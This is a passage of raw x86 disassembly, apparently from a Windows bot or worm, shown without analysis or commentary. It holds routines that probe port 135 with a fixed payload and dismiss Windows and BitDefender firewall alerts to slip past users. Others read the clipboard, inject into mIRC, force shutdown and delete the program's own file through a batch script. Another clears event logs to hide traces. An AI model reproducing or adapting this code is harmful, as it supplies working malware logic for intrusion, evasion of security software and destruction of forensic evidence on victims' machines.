XREF: sub_419E01+33j jmp short loc_419E0B ; --------------------------------------------------------------------------- loc_419E3C: ; CODE XREF: sub_419E01+1Aj xor al, al locret_419E3E: ; CODE XREF: sub_419E01+37j leave retn sub_419E01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E40 proc near ; CODE XREF: sub_41104D+3Ap var_2020 = dword ptr -2020h var_201C = dword ptr -201Ch var_2018 = word ptr -2018h var_2016 = word ptr -2016h var_2014 = dword ptr -2014h var_2008 = dword ptr -2008h var_2004 = byte ptr -2004h var_2002 = byte ptr -2002h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2020h call sub_421EE0 mov eax, [ebp+arg_4] mov [ebp+var_2020], eax cmp [ebp+var_2020], 1 jz short loc_419E7E cmp [ebp+var_2020], 2 jz loc_41A0CA cmp [ebp+var_2020], 3 jz loc_41A0EE jmp loc_41A0F2 ; --------------------------------------------------------------------------- loc_419E7E: ; CODE XREF: sub_419E40+1Dj and [ebp+var_201C], 0 push 6 push 1 push 2 call dword_4E1780 ; socket mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jz short loc_419EA0 cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_419EA7 loc_419EA0: ; CODE XREF: sub_419E40+58j xor eax, eax jmp locret_41A0F8 ; --------------------------------------------------------------------------- loc_419EA7: ; CODE XREF: sub_419E40+5Ej push 10h push 0 lea eax, [ebp+var_2018] push eax call sub_421410 add esp, 0Ch mov [ebp+var_2018], 2 push 87h call dword_4E1700 ; ntohs mov [ebp+var_2016], ax push [ebp+arg_0] call sub_40C670 pop ecx mov [ebp+var_2014], eax push 10h lea eax, [ebp+var_2018] push eax push [ebp+var_4] call dword_4E16A8 ; connect mov [ebp+var_2008], eax cmp [ebp+var_2008], 0FFFFFFFFh jz loc_41A0A8 push 0 push 48h push offset dword_44DE20 push [ebp+var_4] call dword_4E1750 ; send mov [ebp+var_2008], eax cmp [ebp+var_2008], 0FFFFFFFFh jnz short loc_419F3E push [ebp+var_4] call dword_4E1798 ; closesocket mov eax, [ebp+var_201C] jmp locret_41A0F8 ; --------------------------------------------------------------------------- loc_419F3E: ; CODE XREF: sub_419E40+E8j push 0 push 2000h lea eax, [ebp+var_2004] push eax push [ebp+var_4] call dword_4E1718 ; recv mov [ebp+var_2008], eax cmp [ebp+var_2008], 0FFFFFFFFh jnz short loc_419F78 push [ebp+var_4] call dword_4E1798 ; closesocket mov eax, [ebp+var_201C] jmp locret_41A0F8 ; --------------------------------------------------------------------------- loc_419F78: ; CODE XREF: sub_419E40+122j movsx eax, [ebp+var_2002] cmp eax, 0Ch jnz loc_41A095 push 0 push 18h push offset dword_44DE6C push [ebp+var_4] call dword_4E1750 ; send mov [ebp+var_2008], eax cmp [ebp+var_2008], 0FFFFFFFFh jnz short loc_419FBD push [ebp+var_4] call dword_4E1798 ; closesocket mov eax, [ebp+var_201C] jmp locret_41A0F8 ; --------------------------------------------------------------------------- loc_419FBD: ; CODE XREF: sub_419E40+167j push 0 push 2000h lea eax, [ebp+var_2004] push eax push [ebp+var_4] call dword_4E1718 ; recv mov [ebp+var_2008], eax cmp [ebp+var_2008], 0FFFFFFFFh jnz short loc_419FF7 push [ebp+var_4] call dword_4E1798 ; closesocket mov eax, [ebp+var_201C] jmp locret_41A0F8 ; --------------------------------------------------------------------------- loc_419FF7: ; CODE XREF: sub_419E40+1A1j movsx eax, [ebp+var_2002] cmp eax, 2 jnz short loc_41A082 push 10h push offset loc_44DE88 push [ebp+var_2008] lea eax, [ebp+var_2004] push eax call sub_419E01 add esp, 10h movzx eax, al test eax, eax jz short loc_41A04A cmp [ebp+var_2008], 12Ch jge short loc_41A03E mov [ebp+var_201C], 1 jmp short loc_41A048 ; --------------------------------------------------------------------------- loc_41A03E: ; CODE XREF: sub_419E40+1F0j mov [ebp+var_201C], 2 loc_41A048: ; CODE XREF: sub_419E40+1FCj jmp short loc_41A080 ; --------------------------------------------------------------------------- loc_41A04A: ; CODE XREF: sub_419E40+1E4j push 10h push offset dword_44DE9C push [ebp+var_2008] lea eax, [ebp+var_2004] push eax call sub_419E01 add esp, 10h movzx eax, al test eax, eax jz short loc_41A079 mov [ebp+var_201C], 3 jmp short loc_41A080 ; --------------------------------------------------------------------------- loc_41A079: ; CODE XREF: sub_419E40+22Bj and [ebp+var_201C], 0 loc_41A080: ; CODE XREF: sub_419E40:loc_41A048j ; sub_419E40+237j jmp short loc_41A093 ; --------------------------------------------------------------------------- loc_41A082: ; CODE XREF: sub_419E40+1C1j push [ebp+var_4] call dword_4E1798 ; closesocket mov eax, [ebp+var_201C] jmp short locret_41A0F8 ; --------------------------------------------------------------------------- loc_41A093: ; CODE XREF: sub_419E40:loc_41A080j jmp short loc_41A0A6 ; --------------------------------------------------------------------------- loc_41A095: ; CODE XREF: sub_419E40+142j push [ebp+var_4] call dword_4E1798 ; closesocket mov eax, [ebp+var_201C] jmp short locret_41A0F8 ; --------------------------------------------------------------------------- loc_41A0A6: ; CODE XREF: sub_419E40:loc_41A093j jmp short loc_41A0B9 ; --------------------------------------------------------------------------- loc_41A0A8: ; CODE XREF: sub_419E40+C3j push [ebp+var_4] call dword_4E1798 ; closesocket mov eax, [ebp+var_201C] jmp short locret_41A0F8 ; --------------------------------------------------------------------------- loc_41A0B9: ; CODE XREF: sub_419E40:loc_41A0A6j push [ebp+var_4] call dword_4E1798 ; closesocket mov eax, [ebp+var_201C] jmp short locret_41A0F8 ; --------------------------------------------------------------------------- loc_41A0CA: ; CODE XREF: sub_419E40+26j push 3 push 1388h push [ebp+arg_0] call dword_4E1740 ; inet_addr push eax call sub_40E8AF add esp, 0Ch test eax, eax jz short loc_41A0EC push 3 pop eax jmp short locret_41A0F8 ; --------------------------------------------------------------------------- loc_41A0EC: ; CODE XREF: sub_419E40+2A5j jmp short loc_41A0F6 ; --------------------------------------------------------------------------- loc_41A0EE: ; CODE XREF: sub_419E40+33j xor eax, eax jmp short locret_41A0F8 ; --------------------------------------------------------------------------- loc_41A0F2: ; CODE XREF: sub_419E40+39j xor eax, eax jmp short locret_41A0F8 ; --------------------------------------------------------------------------- loc_41A0F6: ; CODE XREF: sub_419E40:loc_41A0ECj xor eax, eax locret_41A0F8: ; CODE XREF: sub_419E40+62j ; sub_419E40+F9j ... leave retn sub_419E40 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx loc_41A0FE: ; CODE XREF: .XComp0:0041A1A9j push 1 pop eax test eax, eax jz loc_41A1AE and dword ptr [ebp-4], 0 push offset aWindowsSecurit ; "Windows Security Alert" push 0 call dword_4E170C ; FindWindowA mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz short loc_41A14E push 0 push 68h push 111h push dword ptr [ebp-4] call dword_4E175C ; SendMessageA loc_41A135: ; CODE XREF: .XComp0:0041A14Aj push dword ptr [ebp-4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_41A14C push 32h call near ptr 27A0000h nop jmp short loc_41A135 ; --------------------------------------------------------------------------- loc_41A14C: ; CODE XREF: .XComp0:0041A140j jmp short loc_41A1AE ; --------------------------------------------------------------------------- loc_41A14E: ; CODE XREF: .XComp0:0041A121j push offset aBitdefenderFir ; "BitDefender Firewall Alert" push 0 call dword_4E170C ; FindWindowA mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz short loc_41A1A1 push 0 push 4Dh push 111h push dword ptr [ebp-4] call dword_4E175C ; SendMessageA push 0 push 1 push 111h push dword ptr [ebp-4] call dword_4E175C ; SendMessageA loc_41A188: ; CODE XREF: .XComp0:0041A19Dj push dword ptr [ebp-4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_41A19F push 32h nop call near ptr 27A0000h jmp short loc_41A188 ; --------------------------------------------------------------------------- loc_41A19F: ; CODE XREF: .XComp0:0041A193j jmp short loc_41A1AE ; --------------------------------------------------------------------------- loc_41A1A1: ; CODE XREF: .XComp0:0041A162j push 1Eh nop call near ptr 27A0000h jmp loc_41A0FE ; --------------------------------------------------------------------------- loc_41A1AE: ; CODE XREF: .XComp0:0041A103j ; .XComp0:loc_41A14Cj ... xor eax, eax leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A1B4 proc near ; CODE XREF: sub_4021E5+13B7p ; sub_4021E5+1407p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 cmp [ebp+arg_0], 0 jz short loc_41A1D9 cmp [ebp+arg_4], 0 jz short loc_41A1D9 cmp [ebp+arg_8], 0 jz short loc_41A1D9 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_41A1E0 loc_41A1D9: ; CODE XREF: sub_41A1B4+Dj ; sub_41A1B4+13j ... xor eax, eax jmp locret_41A27E ; --------------------------------------------------------------------------- loc_41A1E0: ; CODE XREF: sub_41A1B4+23j push [ebp+arg_0] call sub_43D7C0 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz loc_41A27B push [ebp+arg_4] push [ebp+arg_0] call sub_421B10 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41A272 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] push eax push [ebp+arg_0] push [ebp+var_8] call sub_421470 add esp, 0Ch mov eax, [ebp+var_4] sub eax, [ebp+arg_0] mov ecx, [ebp+var_8] and byte ptr [ecx+eax], 0 push [ebp+arg_8] call sub_41EBD0 pop ecx push eax push [ebp+arg_8] push [ebp+var_8] call sub_422A20 add esp, 0Ch push [ebp+arg_4] call sub_41EBD0 pop ecx mov ecx, [ebp+var_4] add ecx, eax push ecx push [ebp+var_8] call sub_422590 pop ecx pop ecx push [ebp+var_8] push [ebp+arg_0] call sub_422580 pop ecx pop ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41A272: ; CODE XREF: sub_41A1B4+56j push [ebp+var_8] call sub_41F930 pop ecx loc_41A27B: ; CODE XREF: sub_41A1B4+3Cj mov eax, [ebp+var_4] locret_41A27E: ; CODE XREF: sub_41A1B4+27j leave retn sub_41A1B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A280 proc near ; CODE XREF: sub_401FD0+122p ; sub_415BB9+134p var_7DC = dword ptr -7DCh var_7D8 = dword ptr -7D8h var_7D4 = dword ptr -7D4h var_7D0 = dword ptr -7D0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7DCh and [ebp+var_7DC], 0 push 7D0h push 0 lea eax, [ebp+var_7D0] push eax call sub_421410 add esp, 0Ch push [ebp+arg_0] call sub_41EBD0 pop ecx mov [ebp+var_7D8], eax cmp [ebp+var_7D8], 1 jge short loc_41A2C6 or eax, 0FFFFFFFFh jmp locret_41A3D8 ; --------------------------------------------------------------------------- loc_41A2C6: ; CODE XREF: sub_41A280+3Cj mov eax, [ebp+var_7DC] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_7D0], ecx mov eax, [ebp+var_7DC] inc eax mov [ebp+var_7DC], eax and [ebp+var_7D4], 0 jmp short loc_41A2F9 ; --------------------------------------------------------------------------- loc_41A2EC: ; CODE XREF: sub_41A280:loc_41A335j mov eax, [ebp+var_7D4] inc eax mov [ebp+var_7D4], eax loc_41A2F9: ; CODE XREF: sub_41A280+6Aj mov eax, [ebp+var_7D4] cmp eax, [ebp+var_7D8] jge short loc_41A337 mov eax, [ebp+arg_0] add eax, [ebp+var_7D4] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_41A329 mov eax, [ebp+arg_0] add eax, [ebp+var_7D4] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_41A335 loc_41A329: ; CODE XREF: sub_41A280+96j mov eax, [ebp+arg_0] add eax, [ebp+var_7D4] and byte ptr [eax], 0 loc_41A335: ; CODE XREF: sub_41A280+A7j jmp short loc_41A2EC ; --------------------------------------------------------------------------- loc_41A337: ; CODE XREF: sub_41A280+85j and [ebp+var_7D4], 0 jmp short loc_41A34D ; --------------------------------------------------------------------------- loc_41A340: ; CODE XREF: sub_41A280:loc_41A3B3j mov eax, [ebp+var_7D4] inc eax mov [ebp+var_7D4], eax loc_41A34D: ; CODE XREF: sub_41A280+BEj mov eax, [ebp+var_7D4] cmp eax, [ebp+var_7D8] jge short loc_41A3B5 mov eax, [ebp+arg_0] add eax, [ebp+var_7D4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_41A3B3 mov eax, [ebp+arg_0] add eax, [ebp+var_7D4] movsx eax, byte ptr [eax+1] test eax, eax jz short loc_41A3B3 cmp [ebp+var_7DC], 1F4h jge short loc_41A3B1 mov eax, [ebp+var_7D4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+1] mov ecx, [ebp+var_7DC] mov [ebp+ecx*4+var_7D0], eax mov eax, [ebp+var_7DC] inc eax mov [ebp+var_7DC], eax jmp short loc_41A3B3 ; --------------------------------------------------------------------------- loc_41A3B1: ; CODE XREF: sub_41A280+106j jmp short loc_41A3B5 ; --------------------------------------------------------------------------- loc_41A3B3: ; CODE XREF: sub_41A280+E9j ; sub_41A280+FAj ... jmp short loc_41A340 ; --------------------------------------------------------------------------- loc_41A3B5: ; CODE XREF: sub_41A280+D9j ; sub_41A280:loc_41A3B1j cmp [ebp+arg_4], 0 jz short loc_41A3D2 push 7D0h lea eax, [ebp+var_7D0] push eax push [ebp+arg_4] call sub_422B50 add esp, 0Ch loc_41A3D2: ; CODE XREF: sub_41A280+139j mov eax, [ebp+var_7DC] locret_41A3D8: ; CODE XREF: sub_41A280+41j leave retn sub_41A280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A3DA proc near ; CODE XREF: sub_41A46C+39p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push esi and [ebp+var_4], 0 jmp short loc_41A3ED ; --------------------------------------------------------------------------- loc_41A3E6: ; CODE XREF: sub_41A3DA+28j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_41A3ED: ; CODE XREF: sub_41A3DA+Aj cmp [ebp+var_4], 1F4h jge short loc_41A404 mov eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov edx, [ebp+arg_4] mov [ecx+eax*4], edx jmp short loc_41A3E6 ; --------------------------------------------------------------------------- loc_41A404: ; CODE XREF: sub_41A3DA+1Aj and [ebp+var_8], 0 jmp short loc_41A411 ; --------------------------------------------------------------------------- loc_41A40A: ; CODE XREF: sub_41A3DA+5Cj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_41A411: ; CODE XREF: sub_41A3DA+2Ej mov eax, [ebp+arg_4] dec eax cmp [ebp+var_8], eax jg short loc_41A438 mov esi, [ebp+arg_4] sub esi, [ebp+var_8] dec esi mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] push eax call sub_41A43B pop ecx mov ecx, [ebp+arg_8] mov [ecx+eax*4], esi jmp short loc_41A40A ; --------------------------------------------------------------------------- loc_41A438: ; CODE XREF: sub_41A3DA+3Ej pop esi leave retn sub_41A3DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A43B proc near ; CODE XREF: sub_41A3DA+50p ; sub_41A46C+BFp var_4 = byte ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp push ecx movsx eax, [ebp+arg_0] push eax call sub_4243A0 pop ecx mov [ebp+var_4], al movsx eax, [ebp+var_4] cmp eax, 61h jl short loc_41A468 movsx eax, [ebp+var_4] cmp eax, 7Ah jg short loc_41A468 movsx eax, [ebp+var_4] sub eax, 60h jmp short locret_41A46A ; --------------------------------------------------------------------------- loc_41A468: ; CODE XREF: sub_41A43B+19j ; sub_41A43B+22j xor eax, eax locret_41A46A: ; CODE XREF: sub_41A43B+2Bj leave retn sub_41A43B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A46C proc near ; CODE XREF: .XComp0:00417571p ; sub_4175F6+3Ap ... var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1018h call sub_421EE0 push esi push [ebp+arg_0] call sub_41EBD0 pop ecx mov [ebp+var_4], eax push [ebp+arg_4] call sub_41EBD0 pop ecx mov [ebp+var_1010], eax lea eax, [ebp+var_1004] push eax push [ebp+var_1010] push [ebp+arg_4] call sub_41A3DA add esp, 0Ch mov eax, [ebp+var_1010] dec eax mov [ebp+var_100C], eax mov eax, [ebp+var_100C] mov [ebp+var_1008], eax jmp short loc_41A4E2 ; --------------------------------------------------------------------------- loc_41A4C8: ; CODE XREF: sub_41A46C:loc_41A5A5j mov eax, [ebp+var_1008] dec eax mov [ebp+var_1008], eax mov eax, [ebp+var_100C] dec eax mov [ebp+var_100C], eax loc_41A4E2: ; CODE XREF: sub_41A46C+5Aj cmp [ebp+var_100C], 0 jle loc_41A5AA loc_41A4EF: ; CODE XREF: sub_41A46C+134j mov eax, [ebp+arg_0] add eax, [ebp+var_1008] movsx eax, byte ptr [eax] push eax call sub_4243A0 pop ecx mov esi, eax mov eax, [ebp+arg_4] add eax, [ebp+var_100C] movsx eax, byte ptr [eax] push eax call sub_4243A0 pop ecx cmp esi, eax jz loc_41A5A5 mov eax, [ebp+arg_0] add eax, [ebp+var_1008] mov al, [eax] push eax call sub_41A43B pop ecx mov eax, [ebp+eax*4+var_1004] mov [ebp+var_1014], eax mov eax, [ebp+var_1010] sub eax, [ebp+var_100C] cmp eax, [ebp+var_1014] jle short loc_41A566 mov eax, [ebp+var_1010] sub eax, [ebp+var_100C] mov [ebp+var_1018], eax jmp short loc_41A572 ; --------------------------------------------------------------------------- loc_41A566: ; CODE XREF: sub_41A46C+E4j mov eax, [ebp+var_1014] mov [ebp+var_1018], eax loc_41A572: ; CODE XREF: sub_41A46C+F8j mov eax, [ebp+var_1008] add eax, [ebp+var_1018] mov [ebp+var_1008], eax mov eax, [ebp+var_1008] cmp eax, [ebp+var_4] jl short loc_41A593 xor eax, eax jmp short loc_41A5B3 ; --------------------------------------------------------------------------- loc_41A593: ; CODE XREF: sub_41A46C+121j mov eax, [ebp+var_1010] dec eax mov [ebp+var_100C], eax jmp loc_41A4EF ; --------------------------------------------------------------------------- loc_41A5A5: ; CODE XREF: sub_41A46C+ADj jmp loc_41A4C8 ; --------------------------------------------------------------------------- loc_41A5AA: ; CODE XREF: sub_41A46C+7Dj mov eax, [ebp+arg_0] add eax, [ebp+var_1008] loc_41A5B3: ; CODE XREF: sub_41A46C+125j pop esi leave retn sub_41A46C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A5B6 proc near ; CODE XREF: sub_4021E5+4E8Dp ; sub_4021E5+71D7p var_108 = dword ptr -108h var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 108h nop call near ptr 27A0A66h mov [ebp+var_108], eax push 0 push 100h lea eax, [ebp+var_104] push eax push 400h push [ebp+var_108] push 0 push 1200h call near ptr 28B0000h nop lea eax, [ebp+var_104] mov [ebp+var_4], eax loc_41A5FA: ; CODE XREF: sub_41A5B6+61j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 1Fh jg short loc_41A610 mov eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 9 jnz short loc_41A619 loc_41A610: ; CODE XREF: sub_41A5B6+4Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_41A5FA ; --------------------------------------------------------------------------- loc_41A619: ; CODE XREF: sub_41A5B6+58j ; sub_41A5B6+86j ... mov eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] lea ecx, [ebp+var_104] cmp eax, ecx jb short loc_41A649 mov eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 2Eh jz short loc_41A619 mov eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 21h jl short loc_41A619 loc_41A649: ; CODE XREF: sub_41A5B6+7Bj push [ebp+var_108] lea eax, [ebp+var_104] push eax push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push offset dword_4E865C call sub_421B90 add esp, 18h mov eax, offset dword_4E865C leave retn sub_41A5B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A677 proc near ; CODE XREF: sub_4021E5+3338p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push 0 call dword_4E16D0 ; OpenClipboard test eax, eax jz short loc_41A6BD push 1 call dword_4E16F0 ; GetClipboardData mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41A69D xor eax, eax jmp short locret_41A6BF ; --------------------------------------------------------------------------- loc_41A69D: ; CODE XREF: sub_41A677+20j push [ebp+var_4] nop call near ptr 28C0000h mov [ebp+var_8], eax push [ebp+var_4] nop call near ptr 28B06F8h call dword_4E1754 ; CloseClipboard mov eax, [ebp+var_8] jmp short locret_41A6BF ; --------------------------------------------------------------------------- loc_41A6BD: ; CODE XREF: sub_41A677+Fj xor eax, eax locret_41A6BF: ; CODE XREF: sub_41A677+24j ; sub_41A677+44j leave retn sub_41A677 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6C1 proc near ; CODE XREF: sub_4021E5+52CDp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push 0 push offset aMirc_2 ; "mIRC" call dword_4E170C ; FindWindowA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41A757 push offset aMirc_3 ; "mIRC" push 1000h push 0 push 4 push 0 push 0FFFFFFFFh nop call near ptr 28C0728h mov [ebp+var_8], eax push 0 push 0 push 0 push 0F001Fh push [ebp+var_8] nop call near ptr 28C0586h mov [ebp+var_C], eax push [ebp+arg_0] push [ebp+var_C] call sub_4219C0 pop ecx pop ecx push 0 push 1 push 4C8h push [ebp+var_4] call dword_4E175C ; SendMessageA push 0 push 1 push 4C9h push [ebp+var_4] call dword_4E175C ; SendMessageA push [ebp+var_C] nop call near ptr 26F0000h push [ebp+var_8] nop call near ptr 27800D6h push 1 pop eax jmp short locret_41A759 ; --------------------------------------------------------------------------- loc_41A757: ; CODE XREF: sub_41A6C1+1Aj xor eax, eax locret_41A759: ; CODE XREF: sub_41A6C1+94j leave retn sub_41A6C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A75B proc near ; CODE XREF: sub_4016A7+28Ap var_120 = dword ptr -120h var_11C = byte ptr -11Ch var_114 = byte ptr -114h var_10C = byte ptr -10Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 120h push 0 lea eax, [ebp+var_10C] push eax push 104h push 0 push offset aExplorer_exe ; "explorer.exe" push 0 call dword_4E17BC ; SearchPathA test eax, eax jnz short loc_41A78A jmp locret_41A836 ; --------------------------------------------------------------------------- loc_41A78A: ; CODE XREF: sub_41A75B+28j push 0 push 80h push 3 push 0 push 1 push 80000000h lea eax, [ebp+var_10C] push eax call near ptr 2851454h nop mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_41A836 lea eax, [ebp+var_114] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_11C] push eax push [ebp+var_120] nop call near ptr 28D070Dh push [ebp+var_120] nop call near ptr 27800D6h push 0 push 80h push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call near ptr 2851454h nop mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_41A836 lea eax, [ebp+var_114] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_11C] push eax push [ebp+var_120] nop call near ptr 28D0000h push [ebp+var_120] nop call near ptr 27800D6h locret_41A836: ; CODE XREF: sub_41A75B+2Aj ; sub_41A75B+5Bj ... leave retn sub_41A75B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 454h push 10h push 0 lea eax, [ebp-454h] push eax call sub_421410 add esp, 0Ch push 44h push 0 lea eax, [ebp-444h] push eax call sub_421410 add esp, 0Ch mov dword ptr [ebp-444h], 44h mov dword ptr [ebp-418h], 1 and word ptr [ebp-414h], 0 push dword ptr [ebp+0Ch] push dword ptr [ebp+8] push offset aSS_4 ; "%s %s" push 400h lea eax, [ebp-400h] push eax call sub_421B90 add esp, 14h lea eax, [ebp-454h] push eax lea eax, [ebp-444h] push eax push 0 push 0 push 28h push 0 push 0 push 0 lea eax, [ebp-400h] push eax push dword ptr [ebp+8] nop call near ptr 278056Fh test eax, eax jnz short loc_41A8D4 xor eax, eax jmp short locret_41A8DA ; --------------------------------------------------------------------------- loc_41A8D4: ; CODE XREF: .XComp0:0041A8CEj mov eax, [ebp-44Ch] locret_41A8DA: ; CODE XREF: .XComp0:0041A8D2j leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8DC proc near ; CODE XREF: sub_4021E5+26FFp push ebp mov ebp, esp push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_41CD6B pop ecx pop ecx push 50005h push 6 call dword_4E1640 ; ExitWindowsEx test eax, eax jnz short loc_41A902 xor eax, eax jmp short loc_41A905 ; --------------------------------------------------------------------------- loc_41A902: ; CODE XREF: sub_41A8DC+20j push 1 pop eax loc_41A905: ; CODE XREF: sub_41A8DC+24j pop ebp retn sub_41A8DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A907 proc near ; CODE XREF: sub_4021E5+2C7Ep var_768 = byte ptr -768h var_758 = dword ptr -758h var_74C = dword ptr -74Ch var_72C = dword ptr -72Ch var_728 = word ptr -728h var_714 = byte ptr -714h var_710 = byte ptr -710h var_310 = byte ptr -310h var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 768h cmp dword_44108C, 0 jz short loc_41A92A cmp dword_4E17D0, 0 jnz short loc_41A92A push 0 call sub_401000 pop ecx loc_41A92A: ; CODE XREF: sub_41A907+10j ; sub_41A907+19j call sub_40D605 lea eax, [ebp+var_710] push eax push 400h nop call near ptr 27C01D4h lea eax, [ebp+var_710] push eax push offset aSdel_bat ; "%sdel.bat" lea eax, [ebp+var_310] push eax call sub_4219C0 add esp, 0Ch push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_310] push eax nop call near ptr 2851454h mov [ebp+var_20C], eax cmp [ebp+var_20C], 0 jbe locret_41AACE lea eax, [ebp+var_310] push eax push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... lea eax, [ebp+var_710] push eax call sub_4219C0 add esp, 0Ch push 0 lea eax, [ebp+var_714] push eax lea eax, [ebp+var_710] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_710] push eax push [ebp+var_20C] call near ptr 2810000h nop push [ebp+var_20C] nop call near ptr 27800D6h push 10h push 0 lea eax, [ebp+var_768] push eax call sub_421410 add esp, 0Ch push 44h push 0 lea eax, [ebp+var_758] push eax call sub_421410 add esp, 0Ch mov [ebp+var_74C], offset dword_4E8860 mov [ebp+var_758], 44h mov [ebp+var_72C], 1 and [ebp+var_728], 0 push 104h lea eax, [ebp+var_104] push eax push 0 nop call near ptr 27B03C5h push eax call near ptr 2790000h nop lea eax, [ebp+var_104] push eax nop call near ptr 27B01D1h cmp eax, 0FFFFFFFFh jz short loc_41AA67 push 80h lea eax, [ebp+var_104] push eax nop call near ptr 27B0000h loc_41AA67: ; CODE XREF: sub_41A907+14Cj lea eax, [ebp+var_104] push eax lea eax, [ebp+var_310] push eax push offset aComspecCSS ; "%%comspec%% /c %s %s" lea eax, [ebp+var_710] push eax call sub_4219C0 add esp, 10h push 104h lea eax, [ebp+var_208] push eax lea eax, [ebp+var_710] push eax nop call near ptr 28E0000h lea eax, [ebp+var_768] push eax lea eax, [ebp+var_758] push eax push 0 push 0 push 4008h push 1 push 0 push 0 lea eax, [ebp+var_208] push eax push 0 nop call near ptr 278056Fh locret_41AACE: ; CODE XREF: sub_41A907+7Ej leave retn sub_41A907 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AAD0 proc near ; CODE XREF: sub_4021E5+6283p var_298 = byte ptr -298h var_98 = dword ptr -98h var_88 = dword ptr -88h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 298h push 94h push 0 lea eax, [ebp+var_98] push eax call sub_421410 add esp, 0Ch mov [ebp+var_98], 94h lea eax, [ebp+var_98] push eax nop call near ptr 27F0576h cmp [ebp+var_88], 2 jnz loc_41AB9B push [ebp+arg_10] push [ebp+arg_C] call dword_4E1680 ; OpenEventLogA mov [ebp+var_4], eax push 0 push [ebp+var_4] call dword_4E1690 ; ClearEventLogA test eax, eax jz short loc_41AB64 push [ebp+arg_10] push offset dword_44DF9C lea eax, [ebp+var_298] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+arg_8] lea eax, [ebp+var_298] push eax push 